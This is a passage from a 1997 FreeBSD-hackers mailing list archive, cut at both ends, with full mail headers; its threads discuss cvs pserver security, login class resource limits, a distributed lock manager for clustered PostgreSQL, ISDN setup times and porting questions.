they can run, not too hard) to give them access. The disadvantage of ssh is that it imposes very high latency overhead. pserver is reasonable for things where you don't need strong authentication and where no accounts or files (ie. no write access to the source tree) are compromised by someone getting the password. There is a shar file off the OpenBSD home page describing how to setup their version of anoncvs, but I find it lacking. From owner-freebsd-hackers Tue Sep 16 23:46:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA22886 for hackers-outgoing; Tue, 16 Sep 1997 23:46:13 -0700 (PDT) Received: from labs.usn.blaze.net.au (mail@labs.usn.blaze.net.au [203.17.53.30]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA22878 for ; Tue, 16 Sep 1997 23:46:06 -0700 (PDT) Received: from labs.usn.blaze.net.au [127.0.0.1] (davidn) by labs.usn.blaze.net.au with esmtp (Exim 1.61 #1) id 0xBDrb-0000iv-00 (Debian); Wed, 17 Sep 1997 16:45:27 +1000 X-Mailer: exmh version 2.0zeta 7/24/97 To: John Hay cc: hackers@freebsd.org Subject: Re: login classes In-reply-to: Your message of "Sat, 17 Sep 1997 08:22:02 +0200." <199709170622.IAA11373@zibbi.mikom.csir.co.za> X-Face: (W@z~5kg?"+5?!2kHP)+l369.~a@oTl^8l87|/s8"EH?Uk~P#N+Ec~Z&@;'LL!;3?y Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 17:45:27 +1100 From: David Nugent Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > But if the shipped defaults does not work for most people, shouldn't > the shipped defaults change? Sorry, but I don't class one or two problems as "most people". In fact, the defaults do seem to work for "most people". Of course it won't suit everyone. I run a single-user system here with the default login.conf and the only allowance I make for login classes is to invoke xdm via limits(1) to force use of the "xuser" resources. xdm should be handling this itself, but doesn't yet. Similarly, ppp and pppd running in server mode with auto-login (ie. invoked from getty) should use a class of its own rather than daemon which is inherited from getty. > are used as single-user machines, so maybe we should ship it with > more relaxed limits? At the moment the shipped defaults does not > seem to work for anything that I have, which is news servers, web > servers, development servers, mail servers or personal machines. "news" has a class of its own. The default startup for inn should use it, which is up to the port maintainer to do. I'm not sure what problems you're having with web servers, since in addition to the servers I run I have several clients, some of whom are receiving 20000+ hits per day and running 90-100 virtual domains, all using the standard daemon resources. The only problem I've ever run into is with named on a machine with lots of ip aliases, and only then if you do a restart. This is actually a problem with named which I believe has been fixed in the 8.x releases, but not with the one in FreeBSD. Samba I have no experience with whatsoever. Perhaps it is a special case that needs some attention by whoever integrated it into FreeBSD. Which *specific* limits are you running into problems with? Personally I think that conservative limits are better as defaults, if, in fact, they are conservative limits - those originally committed where less than what they are now. Better to fix it on a per-machine basis as required than have complaints that users on a public system are easily able to crash the system by doing fork() bombs or similar. Regards, David From owner-freebsd-hackers Tue Sep 16 23:51:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23209 for hackers-outgoing; Tue, 16 Sep 1997 23:51:05 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA23186 for ; Tue, 16 Sep 1997 23:51:00 -0700 (PDT) Received: (qmail 28110 invoked by uid 1000); 17 Sep 1997 06:51:21 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199709170532.WAA08110@rah.star-gate.com> Date: Tue, 16 Sep 1997 23:51:21 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Amancio Hasty Subject: Re: Distributed Lock Manager on FreeBSD Cc: FreeBSD-Hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Amancio Hasty; On 17-Sep-97 you wrote: > > Microsoft's strategy for server clusters: > > > http://www.microsoft.com/ntserver/info/reliabilityoverview.htm It looks like a very large undertaking on their part. I think I disagree with some of their concepts, but if your intent is to create similar service under FreeBSD, then this is about what we are building. If you want to make our work NT API compliant, forget it :-) Even if their API would have been excellent (which it is not), the restrictions, constrictions, and obstructions would be too much. A DLM is key to these technologies. The you need an RDBMS which understands the sharing concept. A raw/block device is to follow, then a file system. This is the order in which we are going, anyway. One thing i agree with is that clustering is less sexy but much more useful, on many small/medium/large systems than distributed. --- Sincerely Yours, (Sent on 16-Sep-97, 23:15:08 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 23:51:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23217 for hackers-outgoing; Tue, 16 Sep 1997 23:51:07 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA23187 for ; Tue, 16 Sep 1997 23:51:00 -0700 (PDT) Received: (qmail 28112 invoked by uid 1000); 17 Sep 1997 06:51:21 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 In-Reply-To: <199709170613.BAA00466@argus.tfs.net> Date: Tue, 16 Sep 1997 23:51:21 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: jbryant@tfs.net Subject: Re: Distributed Lock Manager on FreeBSD Cc: freebsd-hackers@freebsd.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi Jim Bryant; On 17-Sep-97 you wrote: ... > > + What is it good for? We are using it to build our non-stop RDBMS > > server, > > which is composed of a group of FreeBSD machines tied to a single > > disk > > farm. The RDBMS is PgSQL with the lock manager replaced with the DLM > > and > > the storage manager replaced with the DBFS/DIO module I am still > > working > > on. > > More info please... Briefly (so I do not make too many mistakes :-) Postgress supports the notion of a modular storage manager. In RDBMS, sstorage manager is (more or less) akin to a filesystem. The modular storage manager is similar, in concept to a filesystem switch; It allows the RDBMS to use a consistent interface to varying methods of storage. The default Postgres uses the Unix filesystem to store the data; one file per table, one file per index, etc. It also supports a memory SM where the shared memory is used to ``store'' the relations (tables and indices). A less known storage manager is the Mariposa project which proposed to distribute the storage across a wide area network. Still another one I got a whiff of was the one that used the large SGI tri-level jukeboxes. Somewhat similar to the boces used in the original Plan9 fileserver. The DBFS works backwards from those; It stores the data in a shared disk array; Several database managers, in several computers share a single ``disk''. The advantages are obvious in non-stop applications and in places where the computational (or other, non-disk I/O) load exceeds the disk bandwidth. While at it, the DBFS extends the I/O model in several ways: * A ``filesystem'' can be composed of a large number of diverse ``resources''. Each resource can be local, remote, or shared. * When creating a ``file'' you can specify the resource you want the ``file'' to occupy, the backup strategy, etc. * All READ/WRITE operations are unbuffered, raw operations, unless you specify buffered I/O. * File sizes are static, and all files are contigious on the ``disk''. To utilize these features (and a host of others), we need to extend the semantics of the SQL CREATE in Postgres. Those of you familiar with Oracle will understand what I say here. Actually, most non-Unix mainfreamers know very well what.why. The first implementation of DBFS will be strictly an SM. I simply do not know how to map these features into the Unix model. The DIO module will allow a DBFS SM to apear as a block device. This will allow you to newfs it with some STRANGE sideefects :-) > > If any of this is of any interest to any of you, drop me a line. > > Please > > try to do so soon , so I can decide how to document the thing. > > documentation is one of the things i've been doing lately... I will need to have a man page (long and winding) written for the DPT driver, the DLM driver, the dlmctl utility, the dlmd daemon, etc. While I used to be able to type troff directly, and man was the ``easy part'', I can no longer claim that. If you are willing to take upon yourself to translate a draft to English and then format into a manpage, I will be very, very grateful. --- Sincerely Yours, (Sent on 16-Sep-97, 23:21:39 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 23:51:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23226 for hackers-outgoing; Tue, 16 Sep 1997 23:51:09 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA23188 for ; Tue, 16 Sep 1997 23:51:00 -0700 (PDT) Received: (qmail 28118 invoked by uid 1000); 17 Sep 1997 06:51:22 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Tue, 16 Sep 1997 23:51:22 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Alfred Perlstein Subject: Re: Distributed Lock Manager on FreeBSD Cc: FreeBSD-Hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Alfred Perlstein; On 17-Sep-97 you wrote: > what you are doing is awesome, any more information would be greatly > appreciated. ... Thanx! I really need that :-) I will try and provide more info as we go. An etiquette question: There is quite a bit of interest in this (complex) subject. Should we move it to another list? I can provide the list server, and had offers from others. But, I do not want to: a) offend anyone, b)create more work for myself or othes, c) overrun this busy list with this single subject, or d) have all this stuff suddenly hidden from the rest. --- Sincerely Yours, (Sent on 16-Sep-97, 23:41:42 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 23:51:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23258 for hackers-outgoing; Tue, 16 Sep 1997 23:51:20 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA23247 for ; Tue, 16 Sep 1997 23:51:16 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA19697 for hackers@FreeBSD.ORG; Wed, 17 Sep 1997 08:51:09 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA25884; Wed, 17 Sep 1997 08:20:39 +0200 (MET DST) Message-ID: <19970917082039.MU62170@uriah.heep.sax.de> Date: Wed, 17 Sep 1997 08:20:39 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Kernel clock runs inaccurately References: <199709080124.JAA14004@tao.sinanet.com.tw> <19970908081010.DS04250@uriah.heep.sax.de> <199709102025.WAA02815@bitbox.follo.net> <19970911064231.JG62790@uriah.heep.sax.de> <199709170431.GAA29657@bitbox.follo.net> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709170431.GAA29657@bitbox.follo.net>; from Eivind Eklund on Sep 17, 1997 06:31:55 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Eivind Eklund wrote: > I was suggesting _suppressing_ dial-out when xntpd tried to send a > packet. Ie, something similar to the dial filter in IIJ-PPP, ignoring > NTP-packets. I figured this. Anyway, i think i'm now more accurate for less costs. The DCF-77 clock is hanging upon a machine that has a rather well system clock already. It succeeds to convert the timecode information about 50 % of the time, and runs with stratum 1 then. For the remaining 50 %, the local system clock takes over at stratum 4. This should give the entire network an accuracy of better than a few hundred milliseconds, and that's all what we need. > BTW: What kind of setup are you running to get <2s setup time? I'm > consistently ending up at 4-5s, having tried with different external > TAs, ISDN-adapters, PPP-implementations and portmasters. As Greg mentioned, public network connection setup time here is usually between 1 and 2 seconds. FreeBSD's SyncPPP (/sys/net/sppp*) is now at about another second or two in negotiating (dependent on the convergency behaviour of the negotiated options), with an ISDN router on the other end manufactured by Conware (who you probably don't know :). The Ascend P50 for our Internet connection is in the same area, the ISP is using an Ascend Max on the other end. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Sep 16 23:55:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA23521 for hackers-outgoing; Tue, 16 Sep 1997 23:55:00 -0700 (PDT) Received: from konig.elte.hu (konig.elte.hu [157.181.6.22]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA23467 for ; Tue, 16 Sep 1997 23:52:56 -0700 (PDT) Received: from localhost (sebesty@localhost) by konig.elte.hu (8.8.3/8.7.3/7s) with SMTP id IAA05421 for ; Wed, 17 Sep 1997 08:51:05 +0200 Date: Wed, 17 Sep 1997 08:51:04 +0200 (MET DST) From: Zoltan Sebestyen X-Sender: sebesty@konig To: hackers@freebsd.org Subject: getopt_long Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I'm porting an application from Linux which uses getopt_long(), which is an extension of getopt and is able to handle 'long' options, like '-checkrules'. I'd like to know if there's a replacement for this function. -------------------------------------------------------------------------------- Sebestyen Zoltan It all seems so stupid, it makes me want to give up. szoli@caesar.elte.hu But why should I give up, when it all seems so stupid? From owner-freebsd-hackers Wed Sep 17 00:05:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA24040 for hackers-outgoing; Wed, 17 Sep 1997 00:05:25 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA24035 for ; Wed, 17 Sep 1997 00:05:18 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id QAA08666; Wed, 17 Sep 1997 16:35:08 +0930 (CST) Message-ID: <19970917163507.24347@lemis.com> Date: Wed, 17 Sep 1997 16:35:07 +0930 From: Greg Lehey To: jbryant@tfs.net Cc: Amancio Hasty , freebsd-hackers@FreeBSD.ORG Subject: Re: Distributed Lock Manager on FreeBSD References: <199709170401.VAA24302@rah.star-gate.com> <199709170614.BAA00475@argus.tfs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709170614.BAA00475@argus.tfs.net>; from Jim Bryant on Wed, Sep 17, 1997 at 01:14:56AM -0500 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Sep 17, 1997 at 01:14:56AM -0500, Jim Bryant wrote: > In reply: >> Hi, >> >> Can we implement something like Microsoft's Wolf Pack with your DLM? > > I'm not too familiar with WolfPack, but is it the thing they licensed > from Tandem? No, that would be ServerNet, a kind of hardware networking which takes the place of a bus in conventional systems. Greg From owner-freebsd-hackers Wed Sep 17 00:10:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA24465 for hackers-outgoing; Wed, 17 Sep 1997 00:10:02 -0700 (PDT) Received: from fang.cs.sunyit.edu (perlsta@fang.cs.sunyit.edu [192.52.220.66]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA24434 for ; Wed, 17 Sep 1997 00:09:55 -0700 (PDT) Received: from localhost (perlsta@localhost) by fang.cs.sunyit.edu (8.8.5/8.7.3) with SMTP id HAA19853; Wed, 17 Sep 1997 07:10:05 GMT Date: Wed, 17 Sep 1997 07:10:05 +0000 (GMT) From: Alfred Perlstein To: Simon Shapiro cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Distributed Lock Manager on FreeBSD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'm sorry, i wouldn't really know where to post the info, here would probably be ok if it deals with system specifics and such. if you choose another location for posting could you please inform me? thank you, Alfred > Hi Alfred Perlstein; On 17-Sep-97 you wrote: > > what you are doing is awesome, any more information would be greatly > > appreciated. > ... > > Thanx! I really need that :-) > > I will try and provide more info as we go. An etiquette question: > There is quite a bit of interest in this (complex) subject. Should we move > it to another list? I can provide the list server, and had offers from > others. > But, I do not want to: a) offend anyone, b)create more work for myself or > othes, c) overrun this busy list with this single subject, or d) have all > this > stuff suddenly hidden from the rest. > > --- > > > Sincerely Yours, (Sent on 16-Sep-97, 23:41:42 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 > From owner-freebsd-hackers Wed Sep 17 00:16:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA24794 for hackers-outgoing; Wed, 17 Sep 1997 00:16:15 -0700 (PDT) Received: from konig.elte.hu (konig.elte.hu [157.181.6.22]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA24783 for ; Wed, 17 Sep 1997 00:16:05 -0700 (PDT) Received: from localhost (sebesty@localhost) by konig.elte.hu (8.8.3/8.7.3/7s) with SMTP id IAA05456 for ; Wed, 17 Sep 1997 08:56:09 +0200 Date: Wed, 17 Sep 1997 08:56:08 +0200 (MET DST) From: Zoltan Sebestyen X-Sender: sebesty@konig To: hackers@freebsd.org Subject: cpu load Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I'm searching for an easy way to get information cpu_load on FreeBSD. On Linux people just reads /proc/stat, but that one won't work on FreeBSD. -------------------------------------------------------------------------------- Sebestyen Zoltan It all seems so stupid, it makes me want to give up. szoli@caesar.elte.hu But why should I give up, when it all seems so stupid? From owner-freebsd-hackers Wed Sep 17 00:36:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA26053 for hackers-outgoing; Wed, 17 Sep 1997 00:36:18 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA26045 for ; Wed, 17 Sep 1997 00:36:14 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id AAA20165; Wed, 17 Sep 1997 00:35:53 -0700 (PDT) Message-Id: <199709170735.AAA20165@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Greg Lehey cc: Eivind Eklund , Joerg Wunsch , hackers@FreeBSD.ORG Subject: Re: Kernel clock runs inaccurately In-reply-to: Your message of "Wed, 17 Sep 1997 15:13:42 +0930." <19970917151342.00824@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 00:35:53 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I guess it depens on your ISDN switch it used to take me 20ms now is probably closer to a second --- my guess is that PacBell did an upgrade 8) Cheers, Amancio >From The Desk Of Greg Lehey : > On Wed, Sep 17, 1997 at 06:31:55AM +0200, Eivind Eklund wrote: > >> > >> Too expensive still. The dialup itself is ISDN, so the setup time is > >> ~ 2 seconds or less, but having an xntpd calling each 5 or 15 minutes > >> would greatly increase our phone and Internet costs. > > > > BTW: What kind of setup are you running to get <2s setup time? I'm > > consistently ending up at 4-5s, having tried with different external > > TAs, ISDN-adapters, PPP-implementations and portmasters. > > Call setup time is usually outside your control. It depends on the > public network. When I lived in Germany, setup time was closer to 1 > second than 2. > > Greg > From owner-freebsd-hackers Wed Sep 17 00:39:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA26217 for hackers-outgoing; Wed, 17 Sep 1997 00:39:30 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA26212 for ; Wed, 17 Sep 1997 00:39:24 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.7/8.7.1) id DAA20546; Wed, 17 Sep 1997 03:49:16 -0400 Date: Wed, 17 Sep 1997 03:49:15 -0400 (EDT) From: Ben Black To: itojun@itojun.org cc: Marc Slemko , hackers@FreeBSD.ORG Subject: Re: cvs pserver mode In-Reply-To: <19600.874477702@itojun.csl.sony.co.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk i'm not sure, but you may be able to use something like rsync to accomplish your goal by having accounts for these folks on your machine with shell set to something nonexistent. just a guess. On Wed, 17 Sep 1997 itojun@itojun.org wrote: > >> does any of you have trouble using pserver mode of cvs? > >First, don't use pserver. It sucks. Badly. It stores unencrypted > >passwords on the clients disk and anyone with a shell on the server an > >steal connections (and hence passwords) from users connecting. Bad. > >Secondly, you need the --allow-root option to tell it what repositories to > >use. This is new in 1.9.10 or something like that. > > Thanks very much for the comment (and to Julian), I'll keep myself > away from pserver. > > My goal is to have a way to publish half-public source code to > 20 or so people, without giving them an account on my machine. > (they won't make changes to my repository) > Options seems to be as follows, but I don't know which is good/bad. > - cvs pserver (should stay away from this) > - anonymous cvs + some modification > (how to set it up? OpenBSD people uses this to keep them in sync) > - cvsupd + some modification > (current version has no authentication, it seems) > - give an account (say, "mygroup") to them and use rsh/ssh > > Please let me know your opinion. Thanks! > > itojun > From owner-freebsd-hackers Wed Sep 17 00:40:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA26428 for hackers-outgoing; Wed, 17 Sep 1997 00:40:51 -0700 (PDT) Received: from plaut.de (ns.plaut.de [194.39.177.166]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA26423 for ; Wed, 17 Sep 1997 00:40:47 -0700 (PDT) Received: from totum.plaut.de (totum.plaut.de [194.39.177.9]) by plaut.de (8.6.12/8.6.12) with ESMTP id JAA27865; Wed, 17 Sep 1997 09:40:36 +0200 Received: from localhost (root@localhost) by totum.plaut.de (8.8.7/8.7.3) with SMTP id JAA01576; Wed, 17 Sep 1997 09:40:37 +0200 (MET DST) Date: Wed, 17 Sep 1997 09:40:37 +0200 (MET DST) From: Michael Reifenberger To: Wm Brian McCane cc: hackers@FreeBSD.ORG Subject: Re: ISDN Modems In-Reply-To: <199709162132.QAA12072@bmccane.uit.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, my brother told me that the Zyxel Elite is working well with FreeBSD and userland ppp. On Tue, 16 Sep 1997, Wm Brian McCane wrote: > Date: Tue, 16 Sep 1997 16:32:19 -0500 > From: Wm Brian McCane > To: hackers@FreeBSD.ORG > Subject: ISDN Modems > > Greetings, > > I was wondering which/if any internal ISDN modems work with FreeBSD. > I am needing to connect 2 machines to the internet and would prefer built > modems, but I could use externals if someone can tell me which serial cards > are available that can do 230400 bps or better. I also intend to use `bisdn' > for this system unless there are any serious objections or concerns from the > community 8). > > brian > > > Bye! ---- Michael Reifenberger Plaut Software GmbH, R/3 Basis From owner-freebsd-hackers Wed Sep 17 00:45:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA26640 for hackers-outgoing; Wed, 17 Sep 1997 00:45:20 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA26633 for ; Wed, 17 Sep 1997 00:45:15 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id RAA08818; Wed, 17 Sep 1997 17:15:03 +0930 (CST) Message-ID: <19970917171503.14900@lemis.com> Date: Wed, 17 Sep 1997 17:15:03 +0930 From: Greg Lehey To: Amancio Hasty Cc: Eivind Eklund , Joerg Wunsch , hackers@FreeBSD.ORG Subject: Re: Kernel clock runs inaccurately References: <19970917151342.00824@lemis.com> <199709170735.AAA20165@rah.star-gate.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709170735.AAA20165@rah.star-gate.com>; from Amancio Hasty on Wed, Sep 17, 1997 at 12:35:53AM -0700 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Sep 17, 1997 at 12:35:53AM -0700, Amancio Hasty wrote: > I guess it depens on your ISDN switch it used to take me > 20ms How did you measure that? At 64 kb/s, 20 ms means 160 bytes at full speed. Call setup takes about 6 messages. I don't think you can do that in 160 bytes. > now is probably closer to a second --- my guess is that PacBell did > an upgrade 8) Greg From owner-freebsd-hackers Wed Sep 17 00:58:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA27244 for hackers-outgoing; Wed, 17 Sep 1997 00:58:28 -0700 (PDT) Received: from konig.elte.hu (konig.elte.hu [157.181.6.22]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA27229 for ; Wed, 17 Sep 1997 00:57:41 -0700 (PDT) Received: from localhost (sebesty@localhost) by konig.elte.hu (8.8.3/8.7.3/7s) with SMTP id JAA05875 for ; Wed, 17 Sep 1997 09:32:33 +0200 Date: Wed, 17 Sep 1997 09:32:33 +0200 (MET DST) From: Zoltan Sebestyen X-Sender: sebesty@konig To: hackers@freebsd.org Subject: XDM source Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm searching for xdm's source, I know it's in the standard X contrib tarballs, but doesn't know if it's changed for FreeBSD. If so please let me know where I can find it. -------------------------------------------------------------------------------- Sebestyen Zoltan It all seems so stupid, it makes me want to give up. szoli@caesar.elte.hu But why should I give up, when it all seems so stupid? From owner-freebsd-hackers Wed Sep 17 01:00:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA27471 for hackers-outgoing; Wed, 17 Sep 1997 01:00:39 -0700 (PDT) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA27462 for ; Wed, 17 Sep 1997 01:00:32 -0700 (PDT) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.8.7/8.8.7) id JAA14014; Wed, 17 Sep 1997 09:55:02 +0200 (SAT) From: John Hay Message-Id: <199709170755.JAA14014@zibbi.mikom.csir.co.za> Subject: Re: cpu load In-Reply-To: from Zoltan Sebestyen at "Sep 17, 97 08:56:08 am" To: sebesty@cs.elte.hu (Zoltan Sebestyen) Date: Wed, 17 Sep 1997 09:55:02 +0200 (SAT) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I'm searching for an easy way to get information cpu_load on FreeBSD. On > Linux people just reads /proc/stat, but that one won't work on FreeBSD. sysctl vm.loadavg John -- John Hay -- John.Hay@mikom.csir.co.za From owner-freebsd-hackers Wed Sep 17 01:20:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA28827 for hackers-outgoing; Wed, 17 Sep 1997 01:20:59 -0700 (PDT) Received: from dublin.iona.ie (root@operation.dublin.iona.ie [192.122.221.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA28820 for ; Wed, 17 Sep 1997 01:20:55 -0700 (PDT) Received: from ultra (ultra [192.122.221.136]) by dublin.iona.ie (8.7.5/jm-1.01) with SMTP id JAA03307; Wed, 17 Sep 1997 09:20:55 +0100 (BST) Date: Wed, 17 Sep 1997 09:20:31 +0100 (BST) From: Niall Smart X-Sender: nsmart@ultra To: Simon Shapiro cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Distributed Lock Manager on FreeBSD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 16 Sep 1997, Simon Shapiro wrote: > Hi Amancio Hasty; On 17-Sep-97 you wrote: > > Microsoft's strategy for server clusters: > > http://www.microsoft.com/ntserver/info/reliabilityoverview.htm > > It looks like a very large undertaking on their part. I think I 